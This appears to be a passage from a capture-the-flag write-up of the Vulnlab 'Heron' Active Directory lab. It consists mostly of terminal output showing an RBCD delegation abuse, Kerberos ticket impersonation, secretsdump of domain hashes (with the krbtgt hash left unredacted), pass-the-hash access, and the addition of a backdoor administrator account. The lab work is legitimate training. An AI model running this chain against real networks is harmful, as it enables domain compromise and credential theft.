┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains impacket-rbcd -delegate-from 'FRAJMP$' -delegate-to 'MUCDC$' -dc-ip 10.10.165.85 -action 'write' 'heron.vl/adm_prju:ay<redacted>B4' [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.165.85:389 ... OK [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] FRAJMP$ can now impersonate users on MUCDC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] FRAJMP$ (S-1-5-21-1568358163-2901064146-3316491674-27101)
Get the ticket
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains impacket-getST -spn 'cifs/mucdc.heron.vl' -impersonate '_admin' 'heron.vl/FRAJMP$' -hashes :6f<redacted>f7 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [-] CCache file is not found. Skipping... [*] Getting TGT for user [proxychains] Strict chain ... 127.0.0.1:1080 ... HERON.VL:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... HERON.VL:88 ... OK [*] Impersonating _admin [*] Requesting S4U2self [proxychains] Strict chain ... 127.0.0.1:1080 ... heron.vl:88 ... OK [*] Requesting S4U2Proxy [proxychains] Strict chain ... 127.0.0.1:1080 ... heron.vl:88 ... OK [*] Saving ticket in _admin@cifs_mucdc.heron.vl@HERON.VL.ccache ┌──(puck㉿kali)-[~/vulnlab/heron] └─$ export KRB5CCNAME=_admin@cifs_mucdc.heron.vl@HERON.VL.ccache
and do a secretsdump
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains impacket-secretsdump -k mucdc.heron.vl [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.165.85:445 ... OK [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x7a8b61a266b3e6ba7b55725d51f2b723 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:36<redacted>4e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC HERON\MUCDC$:plain_password_hex:6ba8a<redacted>3adc3 HERON\MUCDC$:aad3b435b51404eeaad3b435b51404ee:a3623<redacted>94ee::: [*] DPAPI_SYSTEM dpapi_machinekey:0x76a0d28b7925171e2b82994b58e5991310b49216 dpapi_userkey:0xda9a3255d163e84c6ab4e578f44c544e80285f19 [*] NL$KM 0000 5C A7 E2 A0 9A 0F 0E A7 0A 6F 35 33 21 07 83 01 \........o53!... 0010 93 8A 8A 6D 21 3B C2 CA 60 E6 E6 B6 5A 22 04 A2 ...m!;..`...Z".. 0020 D1 F4 93 69 36 20 AF BB F7 38 31 3A BE E5 D5 29 ...i6 ...81:...) 0030 55 5E 2B 54 ED A4 1B 52 03 FD 77 75 AC F2 9A 58 U^+T...R..wu...X NL$KM:5ca7e2a09a0f0ea70a6f353321078301938a8a6d213bc2ca60e6e6b65a2204a2d1f493693620afbbf738313abee5d529555e2b54eda41b5203fd7775acf29a58 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.165.85:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.165.85:49667 ... OK _admin:500:aad3b435b51404eeaad3b435b51404ee:39<redacted>38::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9c586ab9529b5a6445e501b2208403f2::: heron.vl\Katherine.Howard:24575:aad3b435b51404eeaad3b435b51404ee:654<redacted>d2:::
Get the flag’s
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 smbclient \\\\10.10.165.85\\C$ -U '_admin' --pw-nt-hash 39<redacted>38 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.165.85:445 ... OK Try "help" to get a list of possible commands. smb: \> dir $Recycle.Bin DHS 0 Thu Jun 6 17:01:47 2024 --snip-- System Volume Information DHS 0 Sun May 26 11:48:42 2024 transfer D 0 Sun May 26 13:51:27 2024 Users DR 0 Sat Jun 1 17:43:04 2024 webaccounting D 0 Fri Jun 7 08:14:04 2024 Windows D 0 Sun Jun 2 17:26:03 2024 6261499 blocks of size 4096. 1962809 blocks available
Beyond root
proxychains xfreerdp /u:_admin /pth:39<redacted>38 /w:1566 /h:968 /v:10.10.134.197:3389 -> RDP in to MUCDC not allowed ┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains impacket-wmiexec _admin@10.10.134.197 -hashes aad3b435b51404eeaad3b435b51404ee:39<redacted>38 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.134.197:445 ... OK [*] SMBv3.0 dialect used [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.134.197:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.134.197:49669 ... OK [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami heron\_admin C:\>net user /add puck Password123! The command completed successfully. C:\>net localgroup Administrators puck /add[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.134.197:135 ... OK The command completed successfully. $ proxychains xfreerdp /u:puck /p:Password123! /w:1566 /h:968 /v:10.10.134.197:3389 --- C:\Users\puck>net user adm_hoka User name adm_hoka Full Name adm_hoka Comment t0 User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/26/2024 4:50:28 AM Password expires Never Password changeable 5/27/2024 4:50:28 AM Password required Yes User may change password Yes Workstations allowed admjmp_t0 Logon script \\heron.vl\SYSVOL\heron.vl\scripts\logon.vbs User profile Home directory \\mucdc.heron.vl\home$\adm_hoka Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *admins_t0 The command completed successfully. --- logon.vbs contains Option Explicit Dim objShell, bgInfoPath, bgInfoConfigPath Set objShell = CreateObject("WScript.Shell") bgInfoPath = "\\heron.vl\SYSVOL\heron.vl\scripts\Bginfo64.exe" bgInfoConfigPath = "\\heron.vl\SYSVOL\heron.vl\scripts\bginfo.bgi" objShell.Run """" & bgInfoPath & """ """ & bgInfoConfigPath & """ /timer:0", 0, True Set objShell = Nothing
This chain was really fun 🙂